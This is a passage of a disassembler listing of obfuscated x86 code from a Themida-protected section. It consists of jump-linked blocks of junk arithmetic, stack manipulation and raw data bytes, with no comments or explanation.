		push	7473h
		jmp	loc_560DAE
; ---------------------------------------------------------------------------

loc_55870B:				; CODE XREF: Themida_:0055BB96j
		dec	eax
		jmp	loc_559DB3
; ---------------------------------------------------------------------------

loc_558711:				; CODE XREF: Themida_:loc_559529j
		jmp	loc_567358
; ---------------------------------------------------------------------------

loc_558716:				; CODE XREF: Themida_:00566741j
		push	edi
		mov	edi, 51F60D2Dh
		xor	edx, edi
		mov	edi, [esp]
		jmp	loc_55E127
; ---------------------------------------------------------------------------

loc_558726:				; CODE XREF: Themida_:00557735j
		not	esi
		xor	esi, 9A208CB7h
		mov	edi, esi
		jmp	loc_56926A
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0F188E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55873E:				; CODE XREF: Themida_:0056626Ej
		push	ecx
		jmp	loc_55FA49
; ---------------------------------------------------------------------------

loc_558744:				; CODE XREF: Themida_:005579C9j
					; Themida_:0056BD62j
		sub	dl, al
		sub	dl, 0E4h
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 0E2h
		jmp	loc_563936
; ---------------------------------------------------------------------------

loc_558756:				; CODE XREF: Themida_:0055CF66j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5580A9
; ---------------------------------------------------------------------------

loc_558764:				; CODE XREF: Themida_:00568E73j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shl	ebp, 4
		shr	ebp, 8
		push	ebx
		mov	ebx, 59944CEAh
		xor	ebx, 28CC0FC1h
		xor	ebx, 39A10CBDh
		xor	ebp, ebx
		pop	ebx
		jmp	loc_563A72
; ---------------------------------------------------------------------------

loc_55878E:				; CODE XREF: Themida_:0055987Ej
		mov	eax, 462B748Ah
		xor	eax, 604561AAh
		push	eax
		not	dword ptr [esp]
		jmp	loc_55F5F4
; ---------------------------------------------------------------------------

loc_5587A1:				; CODE XREF: Themida_:00563DC6j
		or	ebx, 697B13BCh
		push	ecx
		mov	ecx, 33F46C1Eh
		jmp	loc_56A167
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0E98CB724h, 0B314h
; ---------------------------------------------------------------------------

loc_5587BC:				; CODE XREF: Themida_:00568947j
		xor	ah, 0BFh
		not	ah
		sub	ah, 0DCh
		sub	bl, ah
		pop	eax
		sub	bl, 9Eh
		jmp	loc_569CDC
; ---------------------------------------------------------------------------
		db 87h
		dd 815C2434h, 4ECh, 240C8900h, 42474FFh, 50240C8Bh, 405E089h
		dd 83000000h, 43304C0h,	24043124h, 8B240433h, 48F2424h
		dd 24248B24h, 12CDCE9h,	5EF32900h, 32E6C581h, 0E9574C47h
		dd 5285h
; ---------------------------------------------------------------------------

loc_558814:				; CODE XREF: Themida_:0055BD9Bj
		push	eax
		jmp	loc_5566B9
; ---------------------------------------------------------------------------

loc_55881A:				; CODE XREF: Themida_:0055AABDj
					; Themida_:0055E185j
		mov	ebx, 0C8B8170h
		xor	edx, ebx
		jmp	loc_55B482
; ---------------------------------------------------------------------------

loc_558826:				; CODE XREF: Themida_:00557B78j
		jno	loc_55AAF6
		jmp	loc_566A94
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 7Dh
		dd 413E0970h
; ---------------------------------------------------------------------------

loc_558838:				; CODE XREF: Themida_:0055E9B0j
		push	edx
		jmp	loc_567E27
; ---------------------------------------------------------------------------

loc_55883E:				; CODE XREF: Themida_:00568605j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 6201104Dh
		add	esi, 11F37A3Fh
		jnp	loc_56B33D
		add	esi, 4C382ADFh
		jz	loc_55B2A1
		not	edi
		jmp	loc_56A566
; ---------------------------------------------------------------------------
		db 0BBh
		dd 1A4443BDh, 1C8BDA01h, 4C48324h, 0E904EC83h, 0BD34h
; ---------------------------------------------------------------------------

loc_55888C:				; CODE XREF: Themida_:005695E0j
		shr	edi, 1
		neg	edi
		not	edi
		shl	edi, 3
		sub	edi, 0CFEAEE2Ch
		sub	ebp, edi
		pop	edi
		add	ebp, 2E8B23F2h
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55AD90
; ---------------------------------------------------------------------------

loc_5588B8:				; CODE XREF: Themida_:00561DCAj
		jmp	loc_5699F1
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 11h
		dd 10C8B3Bh, 0B96851F2h, 89000060h, 9668241Ch, 5B539237h
		dd 6FA2E9h
		db 0
; ---------------------------------------------------------------------------

loc_5588D9:				; CODE XREF: Themida_:005678C3j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55DCA3
; ---------------------------------------------------------------------------

loc_5588E4:				; CODE XREF: Themida_:0056628Ej
		add	esp, 4
		jmp	loc_56698D
; ---------------------------------------------------------------------------

loc_5588EF:				; CODE XREF: Themida_:0055EBFCj
		pop	eax
		jmp	loc_5581C9
; ---------------------------------------------------------------------------
aHvu		db '^hvU',0
		dw 8900h
		dd 6855240Ch, 55A1179Eh, 81D5F75Dh, 0A117A3C5h,	0F326E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558912:				; CODE XREF: Themida_:00559A79j
		sub	bh, 87h
		push	ecx
		mov	ch, 94h
		dec	ch
		inc	ch
		push	eax
		mov	al, 7Ch
		push	ebx
		mov	bl, 61h
		jmp	loc_562FEB
; ---------------------------------------------------------------------------

loc_558927:				; CODE XREF: Themida_:0056B296j
		mov	ebx, 4BC02CAFh
		jmp	loc_5598C9
; ---------------------------------------------------------------------------

loc_558931:				; CODE XREF: Themida_:0055A9B7j
		push	edi
		push	esi
		jmp	loc_56B5BD
; ---------------------------------------------------------------------------
		dd 3AFDBD55h, 0EB892AD0h, 62B3685Dh, 0D3E90000h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55894B:				; CODE XREF: Themida_:005668CCj
		pop	edx
		shr	edx, 1
		jmp	loc_56D303
; ---------------------------------------------------------------------------

loc_558953:				; CODE XREF: Themida_:00563155j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		jmp	loc_56C353
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 36E9240Ch, 0D100001Bh, 803BE9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558982:				; CODE XREF: Themida_:0055EDCCj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_55D8EA
; ---------------------------------------------------------------------------

loc_558997:				; CODE XREF: Themida_:00557B14j
		add	eax, ebx
		jmp	loc_567607
; ---------------------------------------------------------------------------

loc_55899E:				; CODE XREF: Themida_:00560017j
		mov	dh, 0B6h
		mov	al, 0C6h
		add	al, dh
		pop	edx
		mov	dh, al
		pop	eax
		jmp	loc_56C735
; ---------------------------------------------------------------------------

loc_5589AD:				; CODE XREF: Themida_:0056A340j
		push	50A76FBAh
		mov	ebp, [esp]
		add	esp, 4
		or	ebp, 52B31932h
		jo	loc_55B2C9
		or	ebp, 37F250Bh
		jmp	loc_5637A8
; ---------------------------------------------------------------------------

loc_5589CF:				; CODE XREF: Themida_:0055D08Cj
		xor	esi, ebx
		pop	ebx
		push	eax
		jmp	loc_5664A5
; ---------------------------------------------------------------------------

loc_5589D8:				; CODE XREF: Themida_:0056034Cj
		push	edx
		mov	edx, 73E86566h
		not	edx
		and	edx, 3F662A8Fh
		jmp	loc_563C3F
; ---------------------------------------------------------------------------

loc_5589EB:				; CODE XREF: Themida_:0056030Dj
		mov	edi, 4
		add	edx, edi
		jmp	loc_55EFF2
; ---------------------------------------------------------------------------

loc_5589F7:				; CODE XREF: Themida_:00565C6Cj
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55CA01
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 81E58924h, 4C5h, 4ED8100h, 87000000h, 895C242Ch, 4812424h
		dd 424h, 24048F00h, 4240481h, 0FF000000h, 348B2434h, 4C48324h
		dd 8904EC83h, 0E6892434h, 4C681h, 0C6830000h, 24348704h
		dd 4565685Ch, 1C890000h, 0C755E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558A6A:				; CODE XREF: Themida_:0055A179j
		mov	edx, 7DE66A2Fh
		jmp	loc_566F54
; ---------------------------------------------------------------------------

loc_558A74:				; CODE XREF: Themida_:00558FF8j
		mov	ebp, [esp]
		push	ebx
		jmp	loc_558527
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 7Ah
		dd 29DA9FC2h, 0F8315BDFh, 0F139E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558A8E:				; CODE XREF: Themida_:0056D029j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		push	esi
		mov	esi, 4
		mov	ecx, esi
		pop	esi
		add	eax, 41F63494h
		add	eax, ecx
		sub	eax, 41F63494h
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		push	edi
		sub	esp, 4
		jmp	loc_56841C
; ---------------------------------------------------------------------------

loc_558ADC:				; CODE XREF: Themida_:0055F6F7j
		push	dword ptr [esp]
		pop	edx
		push	7EE5h
		mov	[esp], edi
		jmp	loc_56B09C
; ---------------------------------------------------------------------------

loc_558AED:				; CODE XREF: Themida_:005658A1j
		mov	ecx, esi
		pop	esi
		neg	ecx
		jmp	loc_56AB56
; ---------------------------------------------------------------------------

loc_558AF7:				; CODE XREF: Themida_:0056B69Bj
		mov	[esp], eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		push	324Bh
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_55DEA2
; ---------------------------------------------------------------------------

loc_558B13:				; CODE XREF: Themida_:005563F5j
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_5619DE
; ---------------------------------------------------------------------------

loc_558B1F:				; CODE XREF: Themida_:0055EFE3j
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_55F014
; ---------------------------------------------------------------------------

loc_558B2D:				; CODE XREF: Themida_:0056111Fj
		sub	bl, 75h
		add	bl, al
		add	bl, 75h
		add	bl, 7Ch
		push	ecx
		jmp	loc_564389
; ---------------------------------------------------------------------------

loc_558B3E:				; CODE XREF: Themida_:0056B7AEj
		mov	[esp], edi
		mov	edi, 4
		push	edi
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	2379h
		mov	[esp], ebx
		push	37BB2C8Bh
		pop	ebx
		add	ebx, 0C844D379h
		mov	eax, ebx
		jmp	loc_557200
; ---------------------------------------------------------------------------

loc_558B7B:				; CODE XREF: Themida_:00569F78j
		and	ebp, 68B852F9h
		jmp	loc_56A609
; ---------------------------------------------------------------------------

loc_558B86:				; CODE XREF: Themida_:00562960j
		not	ecx
		push	edi
		jmp	loc_559137
; ---------------------------------------------------------------------------

loc_558B8E:				; CODE XREF: Themida_:0055B170j
		pop	esi
		push	esi
		mov	esi, 4
		sub	ecx, esi
		jmp	loc_55FD9C
; ---------------------------------------------------------------------------
		dd 4C381h, 2CE90000h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558BA7:				; CODE XREF: Themida_:00556A8Aj
		mov	esp, [esp]
		push	1735h
		mov	[esp], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], esi
		push	2800h
		jmp	loc_561727
; ---------------------------------------------------------------------------

loc_558BC4:				; CODE XREF: Themida_:0056532Ej
		sub	dword ptr [esp], 208E3CDAh
		jmp	loc_569583
; ---------------------------------------------------------------------------
		dd 58C60159h, 0E9E08950h, 136F2h, 701303BFh, 1C7817Eh
		dd 0E9818FEDh, 2F38h
; ---------------------------------------------------------------------------

loc_558BEC:				; CODE XREF: Themida_:0055DD69j
		push	eax
		mov	eax, 1
		add	ebp, 15700893h
		sub	ebp, eax
		sub	ebp, 15700893h
		mov	eax, [esp]
		add	esp, 4
		shl	ebp, 5
		push	ebp
		sub	dword ptr [esp], 0FFFFFFFFh
		pop	ebp
		add	ebp, 0FFFFFFFFh
		xor	ebp, 0AE171BCh
		push	edi
		mov	edi, 47C222DCh
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 77592805h
		shr	ecx, 4
		jmp	loc_5636FB
; ---------------------------------------------------------------------------

loc_558C3B:				; CODE XREF: Themida_:00567A1Cj
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		xor	eax, edi
		xor	edi, eax
		jmp	loc_566C9F
; ---------------------------------------------------------------------------
		db 5Dh,	33h, 1Ch
		dd 241C3124h, 8B241C33h, 88642424h, 0D679E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558C6E:				; CODE XREF: Themida_:005624F8j
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55B0B6
; ---------------------------------------------------------------------------

loc_558C85:				; CODE XREF: Themida_:005586A4j
		add	esp, 4
		push	eax
		push	esp
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_561BBC
; ---------------------------------------------------------------------------

loc_558CA8:				; CODE XREF: Themida_:005664CAj
		pop	edi
		jmp	loc_55A248
; ---------------------------------------------------------------------------

loc_558CAE:				; CODE XREF: Themida_:0056CC14j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_558CB3:				; CODE XREF: Themida_:0056AF01j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	eax
		jmp	loc_564BAB
; ---------------------------------------------------------------------------

loc_558CC1:				; CODE XREF: Themida_:0056518Ej
		add	edi, 0B48079h
		add	esi, edi
		pop	edi
		jmp	loc_5592DD
; ---------------------------------------------------------------------------

loc_558CCF:				; CODE XREF: Themida_:00561BF2j
		jmp	loc_564A12
; ---------------------------------------------------------------------------

loc_558CD4:				; CODE XREF: Themida_:00561AD8j
		mov	ebp, edx
		pop	edx
		inc	ebp
		shr	ebp, 7
		sub	ebp, 0B4B7BCAAh
		push	ebp
		mov	ebp, 5DC9440Fh
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		add	ebp, 48D5102Eh
		or	ebp, 5DBD363Bh
		shl	ebp, 7
		add	ebp, 65FFF166h
		add	edx, ebp
		pop	ebp
		add	edx, 3BEF0346h
		jmp	loc_559601
; ---------------------------------------------------------------------------
		dd 8108E9C1h, 6682BF1h,	8BCF017Fh, 0C481240Ch, 4, 12E9C701h
		dd 89FFFFE7h, 4BBF243Ch, 0E958CD5Ch, 0FFFFDC4Ah, 0C1815954h
		dd 4, 1462DE9h
		db 0
; ---------------------------------------------------------------------------

loc_558D45:				; CODE XREF: Themida_:00557977j
		pop	eax
		add	esp, 4
		push	73A4h
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		mov	esi, 38381EF5h
		not	esi
		not	esi
		xor	esi, 38381EF1h
		sub	ebx, esi
		pop	esi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_566F14
; ---------------------------------------------------------------------------

loc_558D8C:				; CODE XREF: Themida_:00563441j
		add	ecx, 584C4F2Dh
		sub	edx, ecx
		pop	ecx
		add	ebp, edx
		jmp	loc_563FB5
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0B673h
; ---------------------------------------------------------------------------

loc_558DA4:				; CODE XREF: Themida_:0056B261j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	69DBh
		mov	[esp], esi
		push	4D55h
		push	esp
		jmp	loc_569F8C
; ---------------------------------------------------------------------------

loc_558DBE:				; CODE XREF: Themida_:0056741Ej
		add	al, bh
		pop	ebx
		jmp	loc_56C0AA
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 31432295h, 815AD789h, 971281EFh, 5655560Dh, 4E4BF7BEh
		dd 0E9DEF714h, 0C259h
; ---------------------------------------------------------------------------

loc_558DE4:				; CODE XREF: Themida_:0056CB45j
		and	dh, 8Dh
		jnp	loc_56C59B
		sub	dh, 42h
		mov	bh, dh
		pop	edx
		jmp	loc_559B70
; ---------------------------------------------------------------------------
		db 5Bh,	5Fh
; ---------------------------------------------------------------------------

loc_558DFA:				; CODE XREF: Themida_:0056B020j
		mov	eax, 2
		sub	ecx, 57051E2Ch
		jmp	loc_55DBFB
; ---------------------------------------------------------------------------
aSLslg		db 'SЁ╚ИLg',0
		align 2

loc_558E12:				; CODE XREF: Themida_:00569265j
		xor	edx, 5083EBEh
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		push	3C91h
		mov	[esp], edx
		push	ebx
		push	28F0239Bh
		pop	ebx
		xor	ebx, 202F7120h
		mov	edx, ebx
		jmp	loc_55C425
; ---------------------------------------------------------------------------

loc_558E52:				; CODE XREF: Themida_:0055D4E5j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_569546
; ---------------------------------------------------------------------------

loc_558E5E:				; CODE XREF: Themida_:00556DE7j
		mov	ebx, [esp]
		push	ebp
		jmp	loc_55A4BC
; ---------------------------------------------------------------------------
byte_558E67	db 8Bh			; DATA XREF: Themida_:00556030o
		dd 7E682404h, 0E900001Eh, 13D2Fh
; ---------------------------------------------------------------------------

loc_558E74:				; CODE XREF: Themida_:0055BD73j
		pop	esi
		push	eax
		jmp	loc_559688
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 0B8E95E00h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558E8B:				; CODE XREF: Themida_:00567B90j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, 0D1AA9062h
		add	ebp, eax
		pop	eax
		push	ebp
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 6C8C551Dh
		jmp	loc_55F4C0
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 0AA368DF7h, 0A49DE98Fh, 0C7810000h, 1, 24AEF781h, 0B85025F4h
		dd 68354121h, 0C158C731h, 0D0E907EFh, 2900012Ch, 0CF015DE9h
		dd 0FFA9E9h
		db 0
; ---------------------------------------------------------------------------

loc_558EED:				; CODE XREF: Themida_:00562D14j
		mov	dl, 1Ch
		jmp	loc_55A739
; ---------------------------------------------------------------------------

loc_558EF4:				; CODE XREF: Themida_:00564527j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	edi, 2B473DBCh
		add	edi, edx
		sub	edi, 2B473DBCh
		pop	edx
		jmp	loc_56C91F
; ---------------------------------------------------------------------------

loc_558F14:				; CODE XREF: Themida_:loc_560634j
		jmp	loc_563ED6
; ---------------------------------------------------------------------------

loc_558F19:				; CODE XREF: Themida_:005645DBj
		add	eax, 0D726113h
		jmp	loc_567C6B
; ---------------------------------------------------------------------------
		db 81h
		dd 0B32B19C3h, 298BE91Bh, 54520000h, 4C2815Ah, 81000000h
		dd 4C2h, 24148700h, 0FBC1E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558F46:				; CODE XREF: Themida_:00564821j
		inc	ecx
		jmp	loc_566FB0
; ---------------------------------------------------------------------------

loc_558F4C:				; CODE XREF: Themida_:0055F9DFj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	dl, 0C0h
		jmp	loc_5699F1
; ---------------------------------------------------------------------------

loc_558F62:				; CODE XREF: Themida_:0055697Dj
		add	[edi+24h], esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_557534
; ---------------------------------------------------------------------------

loc_558F6E:				; CODE XREF: Themida_:0056429Dj
		and	al, dl
		jmp	loc_5677AE
; ---------------------------------------------------------------------------

loc_558F75:				; CODE XREF: Themida_:00568A0Fj
		mov	esi, edi
		pop	edi
		sub	[esp+4], esi
		pop	esi
		sub	[esp], eax
		jmp	loc_55D389
; ---------------------------------------------------------------------------

loc_558F85:				; CODE XREF: Themida_:0055A89Aj
		pop	dword ptr [esp]
		jmp	loc_5640B4
; ---------------------------------------------------------------------------

loc_558F8D:				; CODE XREF: Themida_:0055CA06j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55B6FC
; ---------------------------------------------------------------------------
		db 5Bh,	57h, 0FFh
		dd 5F042474h, 5C24048Fh, 51243C89h, 1EE0BF57h, 0CF68272Eh
		dd 8900001Fh, 2C81243Ch, 305F0E24h, 240C8B68h, 4C481h
		dd 5C680000h, 89000023h, 97B82404h, 0E933EF6Fh,	4387h
; ---------------------------------------------------------------------------

loc_558FF0:				; CODE XREF: Themida_:0056A7D0j
		mov	[esp], ebp
		push	40h
		jmp	loc_558A74
; ---------------------------------------------------------------------------
		db 51h,	57h, 0BFh
		dd 492F1418h, 2F9025B9h, 5030E992h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55900E:				; CODE XREF: Themida_:0055EBAFj
		mov	ebp, 2F7A1AE7h
		and	ebp, 57D616B9h
		add	ebp, 6D427980h
		neg	ebp
		neg	ebp
		xor	ebp, 7BA30845h
		jmp	loc_56A55B
; ---------------------------------------------------------------------------

loc_55902E:				; CODE XREF: Themida_:0056530Bj
		mov	dl, 9Ch
		xor	dl, 0EDh
		shl	dl, 8
		and	dl, 8Fh
		or	dl, 9Ch
		jmp	loc_5608E3
; ---------------------------------------------------------------------------
		db 5Eh,	55h, 0BDh
		dd 4, 3CD1E981h, 0E92972A5h, 3CD1C181h,	875D72A5h, 248B240Ch
		dd 48F5424h, 7F076824h,	14890000h, 4BA24h, 54010000h, 0E95A0424h
		dd 936h
; ---------------------------------------------------------------------------

loc_559078:				; CODE XREF: Themida_:005657E8j
		sub	edi, ecx
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_557519
; ---------------------------------------------------------------------------

loc_55908C:				; CODE XREF: Themida_:00568150j
		shr	ecx, 7
		jmp	loc_55ECDA
; ---------------------------------------------------------------------------

loc_559094:				; CODE XREF: Themida_:0055A36Dj
		mov	cl, bh
		jmp	loc_55C477
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0DEE81D6h, 89F7D7E5h, 24348BF2h, 5E08950h, 4, 0FFDB82E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5590B5:				; CODE XREF: Themida_:0055DB14j
		add	edx, ebp
		pop	ebp
		pop	ebx
		mov	ecx, edx
		mov	edx, [esp]
		jmp	loc_5693C4
; ---------------------------------------------------------------------------

loc_5590C3:				; CODE XREF: Themida_:0056ABE6j
		jnb	loc_56775D
		and	ebx, 7AC2343Bh
		jmp	loc_556ACA
; ---------------------------------------------------------------------------

loc_5590D4:				; CODE XREF: Themida_:00568831j
		add	bh, 90h
		pop	cx
		jmp	loc_56CF73
; ---------------------------------------------------------------------------
a8a9Soi		db '╟8─ф9(фИO┬',0
		align 2

loc_5590EA:				; CODE XREF: Themida_:00567BE6j
		mov	al, 0AEh
		shl	al, 3
		sub	al, 63h
		xor	al, 4Ch
		jmp	loc_55B4CF
; ---------------------------------------------------------------------------

loc_5590F8:				; CODE XREF: Themida_:005666A7j
		add	eax, 0EF9FFF14h
		add	edx, 1FFC3F31h
		jmp	loc_56186C
; ---------------------------------------------------------------------------

loc_559108:				; CODE XREF: Themida_:00566883j
		push	ecx
		mov	ecx, 175B5133h
		sub	ebp, 5138357Fh
		add	ebp, ecx
		add	ebp, 5138357Fh
		pop	ecx
		sub	ebp, 6C7E6D00h
		sub	ebp, 44D0344Ah
		add	esi, ebp
		pop	ebp
		add	esi, 4
		sub	esp, 4
		jmp	loc_558534
; ---------------------------------------------------------------------------

loc_559137:				; CODE XREF: Themida_:00558B89j
		mov	edi, 43E44653h
		sub	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_557DE9
; ---------------------------------------------------------------------------

loc_55914E:				; CODE XREF: Themida_:00559331j
		xor	bl, 76h
		jmp	loc_5691B0
; ---------------------------------------------------------------------------
		dw 0D8BAh
		dd 0E9048F45h, 14296h
; ---------------------------------------------------------------------------

loc_559160:				; CODE XREF: Themida_:loc_55A236j
		inc	bh
		jnz	loc_55B1BD
		jmp	loc_5627C8
; ---------------------------------------------------------------------------
		db 68h,	89h, 14h
		db 2 dup(0), 52h
; ---------------------------------------------------------------------------

loc_559173:				; CODE XREF: Themida_:00567C8Cj
		jmp	loc_56268D
; ---------------------------------------------------------------------------

loc_559178:				; CODE XREF: Themida_:00562946j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5626EB
; ---------------------------------------------------------------------------

loc_559186:				; CODE XREF: Themida_:0055CB3Ej
		mov	[esp], bx
		push	ecx
		mov	cl, 0C2h
		mov	bh, cl
		jmp	loc_56AB6C
; ---------------------------------------------------------------------------

loc_559194:				; CODE XREF: Themida_:0055670Ej
		mov	edi, esp
		add	edi, 4
		push	6E88h
		jmp	loc_55A1FE
; ---------------------------------------------------------------------------

loc_5591A6:				; CODE XREF: Themida_:0055A92Fj
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		jmp	loc_56918D
; ---------------------------------------------------------------------------

loc_5591B1:				; CODE XREF: Themida_:005570C2j
		sub	esi, 53A94835h
		jnz	loc_56C33D
		xor	esi, 93F3DD7Bh
		jmp	loc_55B9AF
; ---------------------------------------------------------------------------
		db 5Bh
; ---------------------------------------------------------------------------

loc_5591C9:				; CODE XREF: Themida_:00567E22j
		and	esi, eax
		pop	eax
		jmp	loc_56860A
; ---------------------------------------------------------------------------

loc_5591D1:				; CODE XREF: Themida_:0056257Bj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_56C66A
; ---------------------------------------------------------------------------

loc_5591E3:				; CODE XREF: Themida_:0056C1EEj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	0D9Eh
		mov	[esp], ecx
		push	65DBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_562E72
; ---------------------------------------------------------------------------

loc_559216:				; CODE XREF: Themida_:00562162j
		pop	edx
		push	dword ptr [eax]
		xor	dword ptr [esp], 1D923E0Ch
		pop	ecx
		xor	ecx, 1D923E0Ch
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55AAE1
; ---------------------------------------------------------------------------
		db 8
		dd 805966CEh, 0F03065C6h, 0D3A9E95Ah, 800FFFFFh, 2378h
		dd 30E9D3F7h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55924F:				; CODE XREF: Themida_:00569B08j
		add	ebx, 64CE6BD4h
		add	ebx, 24E72189h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_562194
; ---------------------------------------------------------------------------

loc_559269:				; CODE XREF: Themida_:0056C338j
		pop	ax
		xor	bl, 0Fh
		sub	al, 0B2h
		sub	al, bl
		add	al, 0B2h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	al, 66h
		jmp	loc_55680E
; ---------------------------------------------------------------------------

loc_559285:				; CODE XREF: Themida_:0055F4F3j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55928A:				; CODE XREF: Themida_:0056D544j
		js	loc_561785
		shl	esi, 3
		shl	esi, 3
		xor	esi, 22EB2BD7h
		push	6EF9h
		mov	[esp], edi
		mov	edi, 17F32848h
		shl	edi, 6
		jmp	loc_56A1FB
; ---------------------------------------------------------------------------
		dd offset dword_5A1D68
		align 2
		dw 0CFE9h
		db 89h,	2 dup(0)
byte_5592BB	db 0FFh			; DATA XREF: Themida_:005560B0o
		dd 0C8B2434h, 4C48124h,	56000000h, 0EC835E54h, 0EA16E904h
		dd 0EB81FFFFh, 0E365AE93h, 12ED1E9h
		db 0
; ---------------------------------------------------------------------------

loc_5592DD:				; CODE XREF: Themida_:00558CCAj
		push	6D04h
		mov	[esp], edi
		mov	edi, 34671F72h
		sub	esp, 4
		jmp	loc_5662D3
; ---------------------------------------------------------------------------

loc_5592F2:				; CODE XREF: Themida_:005652D7j
		push	ebp
		push	edi
		jmp	loc_556A8F
; ---------------------------------------------------------------------------

loc_5592F9:				; CODE XREF: Themida_:0056961Cj
		add	ecx, 325F215Eh
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	ecx, eax
		pop	eax
		dec	ecx
		inc	ecx
		jmp	loc_567171
; ---------------------------------------------------------------------------

loc_55930F:				; CODE XREF: Themida_:00562DCCj
		mov	[esp], ebx
		mov	ebx, 28h
		sub	ebx, 2E286D2Ah
		jmp	loc_567914
; ---------------------------------------------------------------------------

loc_559322:				; CODE XREF: Themida_:005608FBj
